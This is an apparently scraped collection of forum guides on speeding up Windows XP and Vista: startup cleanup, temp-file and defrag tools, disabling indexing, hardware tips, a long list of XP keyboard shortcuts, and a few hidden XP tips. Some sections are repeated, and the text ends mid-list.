When having general computer problems and you have more than one AV/Firewall installed, this can be the main cause of your problems.
Concerning Antispywarescanners, it's ok for you to install more than one.However, it's not advised that you let them all start up with Windows, running as a Real Time scanner. Only keep one running in the background and disable the rest, because AntispywareScanners are also resource hogs. They are actually all doing the same, so it's really not needed to have more of them running in the background. After all, you do not use more than one different vacuum cleaner either to clean your carpet with.
Just let the Antispyware scanner(s) scan once in a while on demand.
3. Many programs on start-up
Having many programs in the startup will slow your computer down. Taking out programs that aren't necessary on startup will reduce the resource requirements on boot and will generally make the PC run faster. To remove programs from your startup list, follow the instructions below.
XP Users:
4. Cleaning the Temporary Folders.
As a lot of you might know, the more Windows has to load the slower a PC will be.
The temp folders can fill up quite quickly and having a temp folder of 2 Gigabyte won't do windows any good.
The steps below are easy steps using a simple program to clean out your temp folders.
Please download ATF Cleaner by Atribune.
For Technical Support, double-click the e-mail address located at the bottom of each menu.
5. Defragging your Hard Drive.
While temp folders are one way to clog the speed of your system, fragmented files are another. The more fragmented your files are the slower the hard drive will be to run programs smoothly. A defrag is recommended to keep your hard drive clean and fast. It is recommended that you do not run any programs whatsoever when you are defragging your hard drive as running applications will make them unable to be moved.
Please download JkDefrag by Jeroen Kessels
6. Keeping it clean!
Something that is highly underestimated is the simpleness of 'Keeping it clean!'. Installing a lot of programs will eventually use up your resources that you could use to keep your PC fast.Removing old programs that you never used, or those 'one-day-fly' programs that you try out but don't meet your criteria, will free up space and memory to be used elsewhere. Whenever you are done with a program, remove it from your system so the resources free up. Below are some steps to get rid of some unused programs.
7. Little tweaks for speed.
There are a few tricks that you can use to speed up your computer if need be. Below I will make a list of tweaks for either XP or Vista (watch the title) that will help you speed up your PC. Some tweaks are for both XP and Vista, others are for a specific OS.
Disabling Indexing Service (XP)
Quoting from the Windows Help and Support:
QUOTE
By default, all of the most common files on your computer are indexed. Indexed locations include all of the files in your personal folder (such as Documents, Pictures, Music, and Videos), as well as e‑mail and offline files. Files that are not indexed include program files and system files. The locations that contain those files are not indexed because you rarely need to search those files, and so not including them in the index makes your searches perform faster.
Like many other people, I know where my files are located, so I never use the indexing service. Therefore, I turn it off.
The indexing service is a service that scans your personal files and folders and stores which files are there in an index (hence the name).
Then if you perform a search, the search will then first go through the index to see if it is there. This will speed up searches drastically.
Though if you never use the search function, you're better off turning it off. Below is how.
Not much different from the XP Indexing service. Here is how to disable it.
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I hope this post is a good resource on how to keep your PC fast and smooth.
If you have any suggestions, please Message me on the boards.
Here's a list of common causes of slow machines:
- Low amount of memory (RAM)
- Multiple protection systems installed
- Many programs on startup
- Full temp folders
- Fragmented hard drive
- Forgotten programs
- Multiple of the above
1. Low amounts of memory (RAM)
I have had a lot of people in my neighbourhood asking me why their PC was slow. One of the highest causes was the low amount of memory in their PCs. A lot of old PCs still have 256 MB RAM in their machine while Windows XP already has a recommended of 512 MB and Vista is even more demanding with a stunning 1024 MB (1GB). Having a low amount of memory can cause the PC to take ages in performing what we would think to be simple tasks. While this is usually true, the PC doesn't only have to run the simple task, but at the same time keep services up, your Protection software running and possibly more programs that are running in the background. Therefore it is a good idea to have at least the recommended amount of memory in your machine for the operating system that you are running. If you are going to be running a lot of programs at once, consider taking at least 512 MB above recommendation to keep everything running smoothly.
2. Multiple protection systems installed
As I'm not trained in Malware Removal and do not know a lot about how Protection Systems work I shall quote from a blog post by Miekiemoes found here. (Also worth reading!!)
QUOTE
This is a common mistake many users make. They think that having more than one Antivirus and Firewall installed will protect them in a better way. It won't.. On the contrary..
Rather than giving you extra protection, it will seriously decrease reliability and effectiveness ! The reason for this is that if both products have their automatic (Real-Time) protection switched on, your system may lock up due to both software products attempting to access the same file at the same time. Also, if more than one Antivirus and Firewall installed are not compatible with eachother, it can cause system performance problems and a serious system slowdown. It happens quite a lot that a system won't even boot properly because of more than one Antivirus and Firewall installed.
When having general computer problems and you have more than one AV/Firewall installed, this can be the main cause of your problems.
Concerning Antispywarescanners, it's ok for you to install more than one.However, it's not advised that you let them all start up with Windows, running as a Real Time scanner. Only keep one running in the background and disable the rest, because AntispywareScanners are also resource hogs. They are actually all doing the same, so it's really not needed to have more of them running in the background. After all, you do not use more than one different vacuum cleaner either to clean your carpet with.
Just let the Antispyware scanner(s) scan once in a while on demand.
3. Many programs on start-up
Having many programs in the startup will slow your computer down. Taking out programs that aren't necessary on startup will reduce the resource requirements on boot and will generally make the PC run faster. To remove programs from your startup list, follow the instructions below.
XP Users:
- Open Start Menu and select "Run..."
- In the run box type: msconfig and press enter.
- A window will appear, go to the Startup tab.
- In the startup tab, disable tick boxes on all the programs that don't necessarily need to be started at boot.
- Open Start Menu and in the white box type: msconfig
- Click msconfig.exe that appeared in the list and confirm the UAC.
- A window will appear, go to the Startup tab.
- In the startup tab, disable tick boxes on all the programs that don't necessarily need to be started at boot.
4. Cleaning the Temporary Folders.
As a lot of you might know, the more Windows has to load the slower a PC will be.
The temp folders can fill up quite quickly and having a temp folder of 2 Gigabyte won't do windows any good.
The steps below are easy steps using a simple program to clean out your temp folders.
Please download ATF Cleaner by Atribune.
- Double-click ATF-Cleaner.exe to run the program.
Under Main choose: Select All
Click the Empty Selected button.
- Click Firefox at the top and choose: Select All
Click the Empty Selected button.
NOTE: If you would like to keep your saved passwords, please click No at the prompt.
- Click Opera at the top and choose: Select All
Click the Empty Selected button.
NOTE: If you would like to keep your saved passwords, please click No at the prompt.
For Technical Support, double-click the e-mail address located at the bottom of each menu.
5. Defragging your Hard Drive.
While temp folders are one way to clog the speed of your system, fragmented files are another. The more fragmented your files are the slower the hard drive will be to run programs smoothly. A defrag is recommended to keep your hard drive clean and fast. It is recommended that you do not run any programs whatsoever when you are defragging your hard drive as running applications will make them unable to be moved.
Please download JkDefrag by Jeroen Kessels
- Unzip the program to a folder.
- Reboot to release most of the files in use.
- Double Click JkDefrag.exe to run the program.
6. Keeping it clean!
Something that is highly underestimated is the simpleness of 'Keeping it clean!'. Installing a lot of programs will eventually use up your resources that you could use to keep your PC fast.Removing old programs that you never used, or those 'one-day-fly' programs that you try out but don't meet your criteria, will free up space and memory to be used elsewhere. Whenever you are done with a program, remove it from your system so the resources free up. Below are some steps to get rid of some unused programs.
- Open Start and select Control Panel
- Open Add/Remove Programs(XP) or Programs and Features(Vista)
- Go through the list carefully and see if there are any useless programs that you can remove.
- Remove all the programs that you don't need any more.
7. Little tweaks for speed.
There are a few tricks that you can use to speed up your computer if need be. Below I will make a list of tweaks for either XP or Vista (watch the title) that will help you speed up your PC. Some tweaks are for both XP and Vista, others are for a specific OS.
Disabling Indexing Service (XP)
Quoting from the Windows Help and Support:
QUOTE
By default, all of the most common files on your computer are indexed. Indexed locations include all of the files in your personal folder (such as Documents, Pictures, Music, and Videos), as well as e‑mail and offline files. Files that are not indexed include program files and system files. The locations that contain those files are not indexed because you rarely need to search those files, and so not including them in the index makes your searches perform faster.
Like many other people, I know where my files are located, so I never use the indexing service. Therefore, I turn it off.
The indexing service is a service that scans your personal files and folders and stores which files are there in an index (hence the name).
Then if you perform a search, the search will then first go through the index to see if it is there. This will speed up searches drastically.
Though if you never use the search function, you're better off turning it off. Below is how.
- Open Start and select "Run..."
- In the run box type services.msc and press enter
- Scroll-down to Indexing Service and double-click it.
- If the service status is "Running", then stop it by pressing theStop button.
- To make sure this service doesn't run again, under Startup Type:, choose Disabled
Not much different from the XP Indexing service. Here is how to disable it.
- Open Start Menu and type: services
- Click the Services program that popped up in the list and confirm the UAC.
- Scroll down to Windows Search and double click it.
- If the service status is "Running", then stop it by pressing theStop button.
- To make sure this service doesn't run again, under Startup Type:, choose Disabled
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I hope this post is a good resource on how to keep your PC fast and smooth.
If you have any suggestions, please Message me on the boards.
keyboard shortcuts that are available in Windows XP
General keyboard shortcuts
Dialog box keyboard shortcuts
If you press SHIFT+F8 in extended selection list boxes, you enable extended selection mode. In this mode, you can use an arrow key to move a cursor without changing the selection. You can press CTRL+SPACEBAR or SHIFT+SPACEBAR to adjust the selection. To cancel extended selection mode, press SHIFT+F8 again. Extended selection mode cancels itself when you move the focus to another control.
Microsoft natural keyboard shortcuts
Accessibility keyboard shortcuts
Windows Explorer keyboard shortcuts
Shortcut keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
Microsoft Management Console (MMC) main window keyboard shortcuts
MMC console window keyboard shortcuts
Remote desktop connection navigation
Microsoft Internet Explorer navigation
- CTRL+C (Copy)
- CTRL+X (Cut)
- CTRL+V (Paste)
- CTRL+Z (Undo)
- DELETE (Delete)
- SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
- CTRL while dragging an item (Copy the selected item)
- CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
- F2 key (Rename the selected item)
- CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
- CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
- CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
- CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
- CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
- SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
- CTRL+A (Select all)
- F3 key (Search for a file or a folder)
- ALT+ENTER (View the properties for the selected item)
- ALT+F4 (Close the active item, or quit the active program)
- ALT+ENTER (Display the properties of the selected object)
- ALT+SPACEBAR (Open the shortcut menu for the active window)
- CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
- ALT+TAB (Switch between the open items)
- ALT+ESC (Cycle through items in the order that they had been opened)
- F6 key (Cycle through the screen elements in a window or on the desktop)
- F4 key (Display the Address bar list in My Computer or Windows Explorer)
- SHIFT+F10 (Display the shortcut menu for the selected item)
- ALT+SPACEBAR (Display the System menu for the active window)
- CTRL+ESC (Display the Start menu)
- ALT+Underlined letter in a menu name (Display the corresponding menu)
- Underlined letter in a command name on an open menu (Perform the corresponding command)
- F10 key (Activate the menu bar in the active program)
- RIGHT ARROW (Open the next menu to the right, or open a submenu)
- LEFT ARROW (Open the next menu to the left, or close a submenu)
- F5 key (Update the active window)
- BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
- ESC (Cancel the current task)
- SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
- CTRL+SHIFT+ESC (Open Task Manager)
Dialog box keyboard shortcuts
If you press SHIFT+F8 in extended selection list boxes, you enable extended selection mode. In this mode, you can use an arrow key to move a cursor without changing the selection. You can press CTRL+SPACEBAR or SHIFT+SPACEBAR to adjust the selection. To cancel extended selection mode, press SHIFT+F8 again. Extended selection mode cancels itself when you move the focus to another control.
- CTRL+TAB (Move forward through the tabs)
- CTRL+SHIFT+TAB (Move backward through the tabs)
- TAB (Move forward through the options)
- SHIFT+TAB (Move backward through the options)
- ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
- ENTER (Perform the command for the active option or button)
- SPACEBAR (Select or clear the check box if the active option is a check box)
- Arrow keys (Select a button if the active option is a group of option buttons)
- F1 key (Display Help)
- F4 key (Display the items in the active list)
- BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft natural keyboard shortcuts
- Windows Logo (Display or hide the Start menu)
- Windows Logo+BREAK (Display the System Properties dialog box)
- Windows Logo+D (Display the desktop)
- Windows Logo+M (Minimize all of the windows)
- Windows Logo+SHIFT+M (Restore the minimized windows)
- Windows Logo+E (Open My Computer)
- Windows Logo+F (Search for a file or a folder)
- CTRL+Windows Logo+F (Search for computers)
- Windows Logo+F1 (Display Windows Help)
- Windows Logo+ L (Lock the keyboard)
- Windows Logo+R (Open the Run dialog box)
- Windows Logo+U (Open Utility Manager)
Accessibility keyboard shortcuts
- Right SHIFT for eight seconds (Switch FilterKeys either on or off)
- Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
- Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
- SHIFT five times (Switch the StickyKeys either on or off)
- NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
- Windows Logo +U (Open Utility Manager)
Windows Explorer keyboard shortcuts
- END (Display the bottom of the active window)
- HOME (Display the top of the active window)
- NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
- NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
- NUM LOCK+Minus sign (-) (Collapse the selected folder)
- LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
- RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
- RIGHT ARROW (Move to the right or to the beginning of the next line)
- LEFT ARROW (Move to the left or to the end of the previous line)
- UP ARROW (Move up one row)
- DOWN ARROW (Move down one row)
- PAGE UP (Move up one screen at a time)
- PAGE DOWN (Move down one screen at a time)
- HOME (Move to the beginning of the line)
- END (Move to the end of the line)
- CTRL+HOME (Move to the first character)
- CTRL+END (Move to the last character)
- SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) main window keyboard shortcuts
- CTRL+O (Open a saved console)
- CTRL+N (Open a new console)
- CTRL+S (Save the open console)
- CTRL+M (Add or remove a console item)
- CTRL+W (Open a new window)
- F5 key (Update the content of all console windows)
- ALT+SPACEBAR (Display the MMC window menu)
- ALT+F4 (Close the console)
- ALT+A (Display the Action menu)
- ALT+V (Display the View menu)
- ALT+F (Display the File menu)
- ALT+O (Display the Favorites menu)
MMC console window keyboard shortcuts
- CTRL+P (Print the current page or active pane)
- ALT+Minus sign (-) (Display the window menu for the active console window)
- SHIFT+F10 (Display the Action shortcut menu for the selected item)
- F1 key (Open the Help topic, if any, for the selected item)
- F5 key (Update the content of all console windows)
- CTRL+F10 (Maximize the active console window)
- CTRL+F5 (Restore the active console window)
- ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
- F2 key (Rename the selected item)
- CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote desktop connection navigation
- CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
- ALT+PAGE UP (Switch between programs from left to right)
- ALT+PAGE DOWN (Switch between programs from right to left)
- ALT+INSERT (Cycle through the programs in most recently used order)
- ALT+HOME (Display the Start menu)
- CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
- ALT+DELETE (Display the Windows menu)
- CTRL+ALT+Minus sign (-) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
- CTRL+ALT+Plus sign (+) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
Microsoft Internet Explorer navigation
- CTRL+B (Open the Organize Favorites dialog box)
- CTRL+E (Open the Search bar)
- CTRL+F (Start the Find utility)
- CTRL+H (Open the History bar)
- CTRL+I (Open the Favorites bar)
- CTRL+L (Open the Open dialog box)
- CTRL+N (Start another instance of the browser with the same Web address)
- CTRL+O (Open the Open dialog box, the same as CTRL+L)
- CTRL+P (Open the Print dialog box)
- CTRL+R (Update the current Web page)
- CTRL+W (Close the current window)
Optimizing your PC
Some things you may be able to edit, change. or keep an eye on to keep your computers performing their best...
This guide consists of several random tips you could do to optimize your computer(s). It is probably not a good idea to go down the list doing everything mentioned. Focus on things pertaining to you, and your system...some tips may not apply to you. There will be a lot of information below, most concentrated around Windows XP, and I will keep this guide up to date as things change. I hope you find it informative. ENJOY!!
One thing that I'll discuss before the listing starts is the defragmenting of hard drives. Defragmenting is not always the answer to problems. I hear that a lot around my work place and in various conversations. It is a process that holds some weight but it's not the fix-all cure by any means.
For those that are not completely sure, defragmenting reorganizes all the data on a hard drive so that each file is arranged in a contiguous place on the disk. I think that in the Windows 95 and 98 days, defragmenting was the answer before in-depth system issues were addressed. Nowadays, that is no longer the case. Serial ATA hard drives, NTFS (NT File System), 7200 and 10,000 RPM hard drives, with 8mb cache buffers helped to throw the need a little further back. So see, you remember or know of all these...it's been a while since defragmenting was the ultimate fix now hasn't it?
So why is defragmenting still important? Heat, power consumption, and disk failures. The heat occurs when the disk is in seek mode looking for the file(s) you've selected and if they are not contiguous; the longer the seeking process; the more heat generated and power consumption or your PSU (power supply unit) being used. Disk failures, well...if one should occur and you disk is not properly fragmented, recovering lost files may be more of a task than intended.
Next question I'd be able to think of on this would be, what is best program to use when defragmenting? Every company wants you to think it is there application that does it best, but truth is, Windows XP built in defragmenter is all you need for this task.
So aside from defragmenting and what it prevents or helps with, what else can be done to optimize a system ran by XP?
** If your PC has less than 512 MB of RAM, add more memory. It is an inexpensive way to speed up your system's performance. If you are unsure what to buy you can do one of two things if not both. Take one of your memory sticks to the store with you and write down your motherboard's information. This will ensure the retailers can help you buy compatible memory for your system.
** Ensure that Windows XP is utilizing the NTFS file system.
Here's how:
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Check for File System Type:
Double Click "My Computer" > Right Click on the "(C-Drive)" > then select properties > --- The file system type should read NTFS or FAT32. If it says FAT32, backup any important information on your system.
Convert from FAT32 to NTFS
To convert it to NTFS, do the following: Start > Run > Type "cmd" > then click ok. > at the command prompt type "CONVERT C: /FS:NTFS and select ENTER
It may take a little while to convert but this conversion offers better security, reliability, and more efficient performance...especially with larger hard drives.
** Disable file indexing
[imgl]http://www.xtreme-source.com/techniique/tutorials/pcopt/indexing.jpg[/imgl]The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." All you need to do is right click on the hard drive(s) in question while in the My Computer view and select properties. At the bottom of that window, you will see the info to the left. Just uncheck the "Allow Indexing Service to index this disk for fast file searching" and you're done.
**Empty the Windows Prefetch folder on occasion
Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. Over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete. Those of you using the little guide I made about Making Applications Load Faster, this will help to optimize it's performance. This is just like clearing your cache files for an internet browser, only towards your programs versus online content.
The folder is located here: C:WINDOWSPrefetch
** Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. See your components manufacturer's site for details on how to accomplish this for you specific board.
** Run a disk cleanup about once a month.
Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button and delete all temporary files. Simple.
** Upgrade the cabling
Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned. Of course, I recommend 1,000 times over, if your system supports it...make the switch to Serial ATA hard drives.
** Remove all spy ware from the computer
Use free programs such as Ad Aware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Both of these applications and more are available here at xtreme-source for download.
** Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility.
Here's how: Start > Run, type MSCONFIG, and click OK.
Click the StartUp tab, then uncheck any items you don't want to start when Windows starts.
** Programs that just don't matter anymore...
Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel. Once this has been done, and your system restarted; you may need to manually delete left over program file folders from their install directory. The default location is: Crogram Files. If you really want to go above and beyond; deleting irrelevant registry entries could also help to clean up clutter. If you are not sure about messing with your system registry files, then don't. From there you have 3 options: use an application that will do it for you, ask for help on doing it in these forums, or leave it be. I recommend not choosing number three.
** Extra animations...
Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here is how:
Select the System icon in the Control Panel. Next, click on the advanced tab. Select the Settings button located under Performance.
Now look around, test out some features...see what you want or might not want; then check and uncheck at your own free will. There is absolutely nothing in that window of "visual effects" that could harm your system if disabled.
** Registry Tweaks
If you are familiar with out PC tutorial section at all, you'll have noticed that the staff and members have added quite a few registry tweaks. Many of them can be helpful to your system in more ways than one. If you feel comfortable trying some, please do. If not, just ask one of us, or someone for assistance. The BEST advice anyone can offer when it comes to registry editing is, "Always Make a Backup".
** Anti-Virus Protection
I will say this; there are always new developments and "so-called innovative ways" for people to penetrate networks, systems, and even your personal computers and laptops. This bullet of the guide will not say, you must use anti-virus protection. If you do use anti-virus protection make sure it's up to date as often as possible. Also, make sure that you are not using conflicting protection programs. If you do choose not to have a way of prevention/protection, I trust you have enough knowledge to handle such incidents or at least the means to recover your system, network, and/or files.
** Physical cleaning of the casing and hardware
I've heard a many things on this; annually, every 4 months, every 6 months, the list goes on. Bottom line is; you are the only one that knows the condition of your PC and it's components...or at least you should know them the best. Depending on how well your case is built, sealed...the climate you're in (i.e. desert, city), physical location of the computer(s), and other factors all play a role in the detailing of your PC's components. The best advice I can give is to check your system periodically, clean when necessary. Dust can contribute to a lot of bad performance of your system (i.e. overheating, slow browsing, slow performance).One of the most effective tools are air cans. Clean your systems, cake-like dust bunnies are never good!
** Disable unnecessary services
Windows XP loads a lot of services that your customer most likely does not need. Here is the guide on navigating and accomplishing this task: How to Disable Unnecessary Services
** Faster Burn Speeds...
Free and effective are firmware upgrades for just about ever cd or dvd recorder available. Just look at the drive manufacturer's website for the latest updated firmware to apply it to your setup. In some cases, firmware updates may give your burner faster speeds.
You can also use applications to update a firmware to many drives. One application that works really well is DvD Decrypter. If you use this application, it's more than just an image burner and dvd converter. How??
All you need to do is open the application then go > Tools > Drive > Check for firmware upgrades (at the very bottom). You will then see a window pop-up similar to this:
It will give you current firmware for the drive selected, like above, once you select ok it will check the web for your latest firmware. If you have a new one available, download it, then install to your system. A restart may be needed once done.
** Do not partition the hard drive
Windows XP's NTFS file system runs BETTER on one large partition. Reformatting the hard drive is not required to re-install an operating system. The only time partitioning is beneficial to your system is when you are running more than one operating system. Otherwise, enable NTFS (like shown earlier) and press forward...
- This guide will contain ongoing updates: Check back on occasion.
This guide consists of several random tips you could do to optimize your computer(s). It is probably not a good idea to go down the list doing everything mentioned. Focus on things pertaining to you, and your system...some tips may not apply to you. There will be a lot of information below, most concentrated around Windows XP, and I will keep this guide up to date as things change. I hope you find it informative. ENJOY!!
One thing that I'll discuss before the listing starts is the defragmenting of hard drives. Defragmenting is not always the answer to problems. I hear that a lot around my work place and in various conversations. It is a process that holds some weight but it's not the fix-all cure by any means.
For those that are not completely sure, defragmenting reorganizes all the data on a hard drive so that each file is arranged in a contiguous place on the disk. I think that in the Windows 95 and 98 days, defragmenting was the answer before in-depth system issues were addressed. Nowadays, that is no longer the case. Serial ATA hard drives, NTFS (NT File System), 7200 and 10,000 RPM hard drives, with 8mb cache buffers helped to throw the need a little further back. So see, you remember or know of all these...it's been a while since defragmenting was the ultimate fix now hasn't it?
So why is defragmenting still important? Heat, power consumption, and disk failures. The heat occurs when the disk is in seek mode looking for the file(s) you've selected and if they are not contiguous; the longer the seeking process; the more heat generated and power consumption or your PSU (power supply unit) being used. Disk failures, well...if one should occur and you disk is not properly fragmented, recovering lost files may be more of a task than intended.
Next question I'd be able to think of on this would be, what is best program to use when defragmenting? Every company wants you to think it is there application that does it best, but truth is, Windows XP built in defragmenter is all you need for this task.
So aside from defragmenting and what it prevents or helps with, what else can be done to optimize a system ran by XP?
** If your PC has less than 512 MB of RAM, add more memory. It is an inexpensive way to speed up your system's performance. If you are unsure what to buy you can do one of two things if not both. Take one of your memory sticks to the store with you and write down your motherboard's information. This will ensure the retailers can help you buy compatible memory for your system.
** Ensure that Windows XP is utilizing the NTFS file system.
Here's how:
[imgl]http://www.xtreme-source.com/techniique/tutorials/pcopt/ntfs.jpg[/imgl]
Check for File System Type:
Double Click "My Computer" > Right Click on the "(C-Drive)" > then select properties > --- The file system type should read NTFS or FAT32. If it says FAT32, backup any important information on your system.
Convert from FAT32 to NTFS
To convert it to NTFS, do the following: Start > Run > Type "cmd" > then click ok. > at the command prompt type "CONVERT C: /FS:NTFS and select ENTER
It may take a little while to convert but this conversion offers better security, reliability, and more efficient performance...especially with larger hard drives.
** Disable file indexing
[imgl]http://www.xtreme-source.com/techniique/tutorials/pcopt/indexing.jpg[/imgl]The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." All you need to do is right click on the hard drive(s) in question while in the My Computer view and select properties. At the bottom of that window, you will see the info to the left. Just uncheck the "Allow Indexing Service to index this disk for fast file searching" and you're done.
**Empty the Windows Prefetch folder on occasion
Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. Over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete. Those of you using the little guide I made about Making Applications Load Faster, this will help to optimize it's performance. This is just like clearing your cache files for an internet browser, only towards your programs versus online content.
The folder is located here: C:WINDOWSPrefetch
** Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. See your components manufacturer's site for details on how to accomplish this for you specific board.
** Run a disk cleanup about once a month.
Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button and delete all temporary files. Simple.
** Upgrade the cabling
Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned. Of course, I recommend 1,000 times over, if your system supports it...make the switch to Serial ATA hard drives.
** Remove all spy ware from the computer
Use free programs such as Ad Aware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Both of these applications and more are available here at xtreme-source for download.
** Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility.
Here's how: Start > Run, type MSCONFIG, and click OK.
Click the StartUp tab, then uncheck any items you don't want to start when Windows starts.
** Programs that just don't matter anymore...
Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel. Once this has been done, and your system restarted; you may need to manually delete left over program file folders from their install directory. The default location is: Crogram Files. If you really want to go above and beyond; deleting irrelevant registry entries could also help to clean up clutter. If you are not sure about messing with your system registry files, then don't. From there you have 3 options: use an application that will do it for you, ask for help on doing it in these forums, or leave it be. I recommend not choosing number three.
** Extra animations...
Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here is how:
Select the System icon in the Control Panel. Next, click on the advanced tab. Select the Settings button located under Performance.
Now look around, test out some features...see what you want or might not want; then check and uncheck at your own free will. There is absolutely nothing in that window of "visual effects" that could harm your system if disabled.
** Registry Tweaks
If you are familiar with out PC tutorial section at all, you'll have noticed that the staff and members have added quite a few registry tweaks. Many of them can be helpful to your system in more ways than one. If you feel comfortable trying some, please do. If not, just ask one of us, or someone for assistance. The BEST advice anyone can offer when it comes to registry editing is, "Always Make a Backup".
** Anti-Virus Protection
I will say this; there are always new developments and "so-called innovative ways" for people to penetrate networks, systems, and even your personal computers and laptops. This bullet of the guide will not say, you must use anti-virus protection. If you do use anti-virus protection make sure it's up to date as often as possible. Also, make sure that you are not using conflicting protection programs. If you do choose not to have a way of prevention/protection, I trust you have enough knowledge to handle such incidents or at least the means to recover your system, network, and/or files.
** Physical cleaning of the casing and hardware
I've heard a many things on this; annually, every 4 months, every 6 months, the list goes on. Bottom line is; you are the only one that knows the condition of your PC and it's components...or at least you should know them the best. Depending on how well your case is built, sealed...the climate you're in (i.e. desert, city), physical location of the computer(s), and other factors all play a role in the detailing of your PC's components. The best advice I can give is to check your system periodically, clean when necessary. Dust can contribute to a lot of bad performance of your system (i.e. overheating, slow browsing, slow performance).One of the most effective tools are air cans. Clean your systems, cake-like dust bunnies are never good!
** Disable unnecessary services
Windows XP loads a lot of services that your customer most likely does not need. Here is the guide on navigating and accomplishing this task: How to Disable Unnecessary Services
** Faster Burn Speeds...
Free and effective are firmware upgrades for just about ever cd or dvd recorder available. Just look at the drive manufacturer's website for the latest updated firmware to apply it to your setup. In some cases, firmware updates may give your burner faster speeds.
You can also use applications to update a firmware to many drives. One application that works really well is DvD Decrypter. If you use this application, it's more than just an image burner and dvd converter. How??
All you need to do is open the application then go > Tools > Drive > Check for firmware upgrades (at the very bottom). You will then see a window pop-up similar to this:
It will give you current firmware for the drive selected, like above, once you select ok it will check the web for your latest firmware. If you have a new one available, download it, then install to your system. A restart may be needed once done.
** Do not partition the hard drive
Windows XP's NTFS file system runs BETTER on one large partition. Reformatting the hard drive is not required to re-install an operating system. The only time partitioning is beneficial to your system is when you are running more than one operating system. Otherwise, enable NTFS (like shown earlier) and press forward...
- This guide will contain ongoing updates: Check back on occasion.
Hidden Windows XP Tips
1 - Total Uptime
It boasts how long your computer has been running.
Click Start, then run and then type 'systeminfo'.
The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad.
2 - Delete Files Immediately
You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish.
3 - Lock XP
You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
4. Remove System Software
XP hides some system software you might want to remove, such as Windows Messenger, but you can make it show everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be the software and you can now uninstall it.
5. Interesting New Commands
For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options.
6. IP Version 6 Support
